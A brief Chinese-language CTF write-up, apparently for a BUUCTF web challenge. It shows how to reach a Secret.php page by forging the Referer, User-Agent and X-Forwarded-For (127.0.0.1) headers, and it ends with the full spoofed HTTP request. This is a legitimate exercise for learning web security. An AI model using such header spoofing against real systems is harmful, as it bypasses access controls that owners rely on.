应该和网络请求相关，先抓包看

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有个 Secret.php

It doesn't come from '<https://Sycsecret.buuoj.cn>'

修改http 头，Referer 添加

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Please use "Syclover" browser

继续添加修改 User-Agent

还需要为本地

伪造 X-Forwarded-For

得到flag

GET /Secret.php HTTP/1.1
Host: node5.buuoj.cn:29736
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Syclover/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36
X-Forwarded-For: 127.0.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Referer: <https://Sycsecret.buuoj.cn>
Connection: close